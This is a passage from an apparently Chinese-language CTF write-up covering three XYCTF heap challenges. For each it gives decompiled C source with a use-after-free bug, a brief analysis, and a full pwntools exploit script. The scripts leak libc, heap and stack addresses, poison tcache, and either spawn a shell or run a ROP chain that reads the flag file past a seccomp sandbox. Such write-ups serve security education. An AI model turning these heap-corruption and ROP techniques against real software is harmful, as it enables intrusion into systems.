        break;
      add_chunk();
    }
    switch ( choice )
    {
      case 2:
        delete_chunk();
        break;
      case 3:
        view_chunk();
        break;
      case 114514:
        _();
        break;
      default:
        puts("[-] exit()");
        exit(0);
    }
  }
}

void add_chunk()
{
  unsigned __int64 idx;   // [rsp+8h] [rbp-28h] BYREF
  size_t size;            // [rsp+10h] [rbp-20h] BYREF
  msg *ptr;               // [rsp+18h] [rbp-18h]
  void *buf;              // [rsp+20h] [rbp-10h]
  unsigned __int64 v4;    // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("[?] please input chunk_idx: ");
  scanf("%lld", &idx);
  if ( idx < 0x10 )
  {
    printf("[?] Enter chunk size: ");
    scanf("%lld", &size);
    ptr = (msg *)malloc(0x18uLL);
    ptr->size = size;
    if ( ptr )
    {
      buf = malloc(size);
      ptr->con = buf;
      if ( buf )
      {
        printf("[?] Enter chunk data: ");
        read(0, buf, size);
        chunk_list[idx] = ptr;
        ptr->flag = 1LL;
      }
      else
      {
        puts("[-] Failed to create chunk for data!");
      }
    }
    else
    {
      puts("[-] Failed to create new chunk!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
}

void delete_chunk()
{
  unsigned __int64 idx;   // [rsp+8h] [rbp-18h] BYREF
  msg *ptr;               // [rsp+10h] [rbp-10h]
  unsigned __int64 v2;    // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("[?] Enter chunk id: ");
  scanf("%lld", &idx);
  if ( idx < 0x10 )
  {
    ptr = chunk_list[idx];
    if ( ptr )
    {
      if ( ptr->flag )
      {
        free(chunk_list[idx]);
        free(ptr->con);
        ptr->flag = 0LL;  // uaf
      }
      else
      {
        puts("[-] Chunk is not used!");
      }
    }
    else
    {
      puts("[-] No such chunk!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
}

void view_chunk()
{
  _QWORD idx[2];          // [rsp+0h] [rbp-10h] BYREF

  idx[1] = __readfsqword(0x28u);
  printf("[?] Enter chunk id: ");
  scanf("%lld", idx);
  if ( idx[0] < 0x10uLL )
  {
    if ( chunk_list[idx[0]] )
    {
      if ( chunk_list[idx[0]]->flag )
        write(1, chunk_list[idx[0]]->con, chunk_list[idx[0]]->size);
      else
        puts("[-] Chunk is not used!");
    }
    else
    {
      puts("[-] No such chunk!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
}

int _()
{
  printf("this is a gift: %p\n", &puts);
  return gift(hello_world);
}

分析

UAF,而且能直接泄 libc;覆盖 hello_world 和 gift。

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc.so.6')
elf = ELF('./vuln')

io = process(elf.path)
# gdb.attach(io, 'b *0x401773')
# addr = 'xxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

def cmd(c: int):
    io.recvuntil(b'>>> ')
    io.sendline(str(c).encode())

def add(idx: int, size: int, content: bytes):
    cmd(1)
    io.recvuntil(b'[?] please input chunk_idx: ')
    io.sendline(str(idx).encode())
    io.recvuntil(b'[?] Enter chunk size: ')
    io.sendline(str(size).encode())
    io.recvuntil(b'[?] Enter chunk data: ')
    io.send(content)

def delete(idx: int):
    cmd(2)
    io.recvuntil(b'[?] Enter chunk id: ')
    io.sendline(str(idx).encode())

def show(idx: int):
    cmd(3)
    io.recvuntil(b'[?] Enter chunk id: ')
    io.sendline(str(idx).encode())

cmd(114514)
io.recvuntil(b'0x')
libc.address = int(io.recvn(12), 16) - libc.sym['puts']
info('libc_base:' + hex(libc.address))

add(0, 0x10, b'a'*0x10)
add(1, 0x20, b'b'*0x20)

delete(0)
add(0, 0x18, b'a'*0x10)
show(0)

io.recvuntil(b'a'*0x10)
heap_addr = u64(io.recvn(6).ljust(8, b'\x00')) - 0x2c0
info('heap_addr:' + hex(heap_addr))

add(2, 0x18, b'c'*0x10)
add(3, 0x30, p64(0)+p64(0xa1))
add(4, 0x20, b'e'*0x20)
add(5, 0x20, b'f'*0x20)

delete(2)
add(6, 0x18, p64(0x90)+p64(1)+p64(heap_addr+0x3a0))
delete(2)

delete(4)
delete(5)

extend = p64(0)*4
extend += p64(0) + p64(0x21)
extend += p64(0x404070^(heap_addr >> 12)) + p64(0)
add(7, 0x90, extend)

con = b'/bin/sh\x00'+p64(0) + p64(libc.symbols['system'])
add(8, 0x18, con)

cmd(114514)

io.interactive()

15. ptmalloc2 it’s myheap pro

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int choice;            // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();            //   puts("[1] add_chunk()");
                         //   puts("[2] delete_chunk()");
                         //   puts("[3] view_chunk()");
                         //   puts("[4] exit()");
                         //   return printf(">>> ");
      choice = get_choice();
      if ( choice != 1 )
        break;
      add_chunk();
    }
    if ( choice == 2 )
    {
      delete_chunk();
    }
    else
    {
      if ( choice != 3 )
      {
        puts("[-] exit()");
        exit(0);
      }
      view_chunk();
    }
  }
}

__int64 get_choice()
{
  unsigned int v1;       // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2;   // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  scanf("%u", &v1);
  return v1;
}

unsigned __int64 add_chunk()
{
  unsigned __int64 idx;  // [rsp+8h] [rbp-28h] BYREF
  __int64 size;          // [rsp+10h] [rbp-20h] BYREF
  msg *ptr;              // [rsp+18h] [rbp-18h]
  void *buf;             // [rsp+20h] [rbp-10h]
  unsigned __int64 v5;   // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("[?] please input chunk_idx: ");
  scanf("%lld", &idx);
  if ( idx < 0x10 )
  {
    printf("[?] Enter chunk size: ");
    scanf("%lld", &size);
    if ( size <= 0x80 )
    {
      ptr = (msg *)malloc(0x18uLL);
      ptr->size = size;
      if ( ptr )
      {
        buf = malloc(size);
        ptr->con = buf;
        if ( buf )
        {
          printf("[?] Enter chunk data: ");
          read(0, buf, size);
          chunk_list[idx] = ptr;
          ptr->flag = 1LL;
        }
        else
        {
          puts("[-] Failed to create chunk for data!");
        }
      }
      else
      {
        puts("[-] Failed to create new chunk!");
      }
    }
    else
    {
      puts("[-] too big");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return v5 - __readfsqword(0x28u);
}

unsigned __int64 delete_chunk()
{
  unsigned __int64 idx;  // [rsp+8h] [rbp-18h] BYREF
  msg *ptr;              // [rsp+10h] [rbp-10h]
  unsigned __int64 v3;   // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("[?] Enter chunk id: ");
  scanf("%lld", &idx);
  if ( idx < 0x10 )
  {
    ptr = (msg *)chunk_list[idx];
    if ( ptr )
    {
      if ( ptr->flag )
      {
        free((void *)chunk_list[idx]);
        free(ptr->con);
        ptr->flag = 0LL;
      }
      else
      {
        puts("[-] Chunk is not used!");
      }
    }
    else
    {
      puts("[-] No such chunk!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return v3 - __readfsqword(0x28u);
}

unsigned __int64 view_chunk()
{
  unsigned __int64 idx;  // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2;   // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("[?] Enter chunk id: ");
  scanf("%lld", &idx);
  if ( idx < 0x10 )
  {
    if ( chunk_list[idx] )
    {
      if ( chunk_list[idx]->flag )
        write(1, chunk_list[idx]->con, chunk_list[idx]->size);
      else
        puts("[-] Chunk is not used!");
    }
    else
    {
      puts("[-] No such chunk!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return v2 - __readfsqword(0x28u);
}

分析

UAF 依然在,用 House of rabbit 绕过 flag 检测;泄出 libc 后还能再泄栈。题目本意大概是打 exit_hook,我偷懒改打了 ROP。

exp

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

libc = ELF('./libc.so.6')
ld = ELF('./ld-linux-x86-64.so.2')
elf = ELF('./vuln')

io = process('./vuln')
# gdb.attach(io, 'b *0x4017B5')

# addr = 'xxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

def cmd(c: int):
    io.recvuntil(b'>>> ')
    io.sendline(str(c).encode())

def add(idx: int, size: int, content: bytes):
    cmd(1)
    io.recvuntil(b'[?] please input chunk_idx: ')
    io.sendline(str(idx).encode())
    io.recvuntil(b'[?] Enter chunk size: ')
    io.sendline(str(size).encode())
    io.recvuntil(b'[?] Enter chunk data: ')
    io.send(content)

def delete(idx: int):
    cmd(2)
    io.recvuntil(b'[?] Enter chunk id: ')
    io.sendline(str(idx).encode())

def show(idx: int):
    cmd(3)
    io.recvuntil(b'[?] Enter chunk id: ')
    io.sendline(str(idx).encode())

for i in range(7):
    add(i, 0x18, b'a')

for i in range(6):
    delete(i)

cmd(1)
io.recvuntil(b'[?] please input chunk_idx: ')
io.sendline(b'7'*0x1000)

add(0, 0x30, b'a'*0x20)
show(0)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0
log.info(f'libc base: {hex(libc.address)}')

add(1, 0x18, b'a'*0x10)
show(1)
io.recvuntil(b'a'*0x10)
heap = u64(io.recvn(4).ljust(8, b'\x00')) - 0x340
log.info(f'heap base: {hex(heap)}')

add(2, 0x18, b'a'*0x10)
delete(2)
add(3, 0x18, p64(0x28)+p64(1)+p64(libc.symbols['environ']))
show(2)
stack = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x138
info('stack leak: ' + hex(stack))

add(0, 0x50, b'a'*0x20)

add(4, 0x20, p64(0)+p64(0x81))
add(5, 0x30, b'a')
add(6, 0x30, b'a')
add(7, 0x30, b'a')

add(8, 0x18, b'a')
delete(8)
add(9, 0x18, p64(0x70)+p64(1)+p64(heap+0x470))
delete(8)

delete(6)
delete(5)

con = p64(0)*2
con += p64(0) + p64(0x21)
con += p64((heap+0x4f0)^(heap>>12)) + p64(0)
con += p64(0) + p64(0x41)
con += p64((stack-0x10)^(heap>>12)) + p64(0)

add(9,0x70, con)

system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
rdi = libc.address + 0x2a3e5
ret = libc.address + 0x29139

add(10, 0x30, b'a')

log.info('plz check the heap')

add(1, 0x30, p64(rdi)*2+p64(binsh)+p64(ret)+p64(system))

io.interactive()

16. ptmalloc2 it’s myheap plus

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int choice;           // [rsp+Ch] [rbp-4h]

  init();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu(argc, argv);
        choice = get_choice();
        if ( choice != 1 )
          break;
        add_chunk();
      }
      if ( choice != 2 )
        break;
      delete_chunk();
    }
    if ( choice != 3 )
      break;
    view_chunk();
  }
  puts("[-] break()");
  return 0;
}

__int64 init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  return sandbox();
}

__int64 sandbox()
{
  __int64 v1;           // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 59LL, 0LL);
  seccomp_rule_add(v1, 0LL, 322LL, 0LL);
  return seccomp_load();
}

int menu()
{
  puts("Welcome to XYCTF");
  puts("[1] add_chunk()");
  puts("[2] delete_chunk()");
  puts("[3] view_chunk()");
  puts("[4] break()");
  return printf(">>> ");
}

unsigned __int64 add_chunk()
{
  unsigned __int64 v1;  // [rsp+8h] [rbp-28h] BYREF
  size_t size;          // [rsp+10h] [rbp-20h] BYREF
  _QWORD *v3;           // [rsp+18h] [rbp-18h]
  void *buf;            // [rsp+20h] [rbp-10h]
  unsigned __int64 v5;  // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("[?] please input chunk_idx: ");
  __isoc99_scanf("%lld", &v1);
  if ( v1 < 0x10 )
  {
    printf("[?] Enter chunk size: ");
    __isoc99_scanf("%lld", &size);
    if ( (__int64)size <= 0x80 )
    {
      v3 = malloc(0x18uLL);
      *v3 = size;
      if ( v3 )
      {
        buf = malloc(size);
        v3[2] = buf;
        if ( buf )
        {
          printf("[?] Enter chunk data: ");
          read(0, buf, size);
          chunk_list[v1] = v3;
          v3[1] = 1LL;
        }
        else
        {
          puts("[-] Failed to create chunk for data!");
        }
      }
      else
      {
        puts("[-] Failed to create new chunk!");
      }
    }
    else
    {
      puts("[-] too big");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return v5 - __readfsqword(0x28u);
}

unsigned __int64 delete_chunk()
{
  unsigned __int64 v1;  // [rsp+8h] [rbp-18h] BYREF
  __int64 v2;           // [rsp+10h] [rbp-10h]
  unsigned __int64 v3;  // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("[?] Enter chunk id: ");
  __isoc99_scanf("%lld", &v1);
  if ( v1 < 0x10 )
  {
    v2 = chunk_list[v1];
    if ( v2 )
    {
      if ( *(_QWORD *)(v2 + 8) )
      {
        free((void *)chunk_list[v1]);
        free(*(void **)(v2 + 16));
        *(_QWORD *)(v2 + 8) = 0LL;
      }
      else
      {
        puts("[-] Chunk is not used!");
      }
    }
    else
    {
      puts("[-] No such chunk!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return v3 - __readfsqword(0x28u);
}

unsigned __int64 view_chunk()
{
  unsigned __int64 v1;  // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2;  // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("[?] Enter chunk id: ");
  __isoc99_scanf("%lld", &v1);
  if ( v1 < 0x10 )
  {
    if ( chunk_list[v1] )
    {
      if ( *(_QWORD *)(chunk_list[v1] + 8LL) )
        write(1, *(const void **)(chunk_list[v1] + 16LL), *(_QWORD *)chunk_list[v1]);
      else
        puts("[-] Chunk is not used!");
    }
    else
    {
      puts("[-] No such chunk!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return v2 - __readfsqword(0x28u);
}

分析

和上一题类似,但开了沙箱不能直接 getshell:把栈迁到堆上,ROP 走 ORW。

exp

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

libc = ELF('./libc.so.6')
ld = ELF('./ld-linux-x86-64.so.2')
elf = ELF('./vuln')

io = process('./vuln')
# gdb.attach(io, 'b *$rebase(0x182D)')

# addr = 'xxxxx'.split(':')
# io = remote(addr[0], int(addr[1]))

def cmd(c: int):
    io.recvuntil(b'>>> ')
    io.sendline(str(c).encode())

def add(idx: int, size: int, content: bytes):
    cmd(1)
    io.recvuntil(b'[?] please input chunk_idx: ')
    io.sendline(str(idx).encode())
    io.recvuntil(b'[?] Enter chunk size: ')
    io.sendline(str(size).encode())
    io.recvuntil(b'[?] Enter chunk data: ')
    io.send(content)

def delete(idx: int):
    cmd(2)
    io.recvuntil(b'[?] Enter chunk id: ')
    io.sendline(str(idx).encode())

def show(idx: int):
    cmd(3)
    io.recvuntil(b'[?] Enter chunk id: ')
    io.sendline(str(idx).encode())

for i in range(7):
    add(i, 0x18, b'a')

for i in range(6):
    delete(i)

cmd(1)
io.recvuntil(b'[?] please input chunk_idx: ')
io.sendline(b'7'*0x1000)

add(0, 0x30, b'a'*0x20)
show(0)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0
log.info(f'libc base: {hex(libc.address)}')

add(1, 0x18, b'a'*0x10)
show(1)
io.recvuntil(b'a'*0x10)
heap = u64(io.recvn(8).ljust(8, b'\x00')) - 0xe40
log.info(f'heap base: {hex(heap)}')

add(2, 0x18, b'a'*0x10)
delete(2)
add(3, 0x18, p64(0x28)+p64(1)+p64(libc.symbols['environ']))
show(2)
stack = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x138
info('stack leak: ' + hex(stack))

# 清理 bins
add(0, 0x40, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x60, b'x'*0x10)
add(0, 0x70, b'x'*0x10)
add(0, 0x70, b'x'*0x10)
add(0, 0x70, b'x'*0x10)
add(0, 0x70, b'x'*0x10)
add(0, 0x70, b'x'*0x10)
add(0, 0x70, b'x'*0x10)
add(0, 0x70, b'./flag\x00')

rdi = libc.address + 0x2a3e5
rsi = libc.address + 0x2be51
rdx_r12 = libc.address + 0x11f2e7
rsp = libc.address + 0x35732

# orw 栈
con = p64(rdi) + p64(heap + 0x1610)
con += p64(rsi) + p64(0)
con += p64(rdx_r12) + p64(0)
con += p64(0) + p64(libc.symbols['open'])
con += p64(rsp) + p64(heap + 0x1750)
add(0, 0x70, con)

con = p64(rdi) + p64(3)
con += p64(rsi) + p64(heap + 0x10)
con += p64(rdx_r12) + p64(0x40)
con += p64(0) + p64(libc.symbols['read'])
con += p64(rsp) + p64(heap + 0x17f0)
add(1, 0x70, con)

con = p64(rdi) + p64(1)
con += p64(rsi) + p64(heap + 0x10)
con += p64(rdx_r12) + p64(0x40)
con += p64(0) + p64(libc.symbols['write'])
con += p64(rsp) + p64(0)
add(2, 0x70, con)

con = p64(0)+p64(0x71)
add(3, 0x20, con)

add(4, 0x20, b's')
add(5, 0x20, b'a')
add(6, 0x20, b'b')
add(7, 0x20, b'c')

delete(7)
delete(4)
delete(5)
delete(6)

add(8, 0x18, p64(0x60)+p64(1)+p64(heap+0x18a0))
delete(5)

con = p64(0)*2
con += p64(0) + p64(0x21)
con += p64(((heap >> 12)+1) ^ (stack - 0x10))

add(8, 0x60, con)

add(10, 0x18, p64(rsp)*2+p64(heap + 0x16b0))

io.interactive()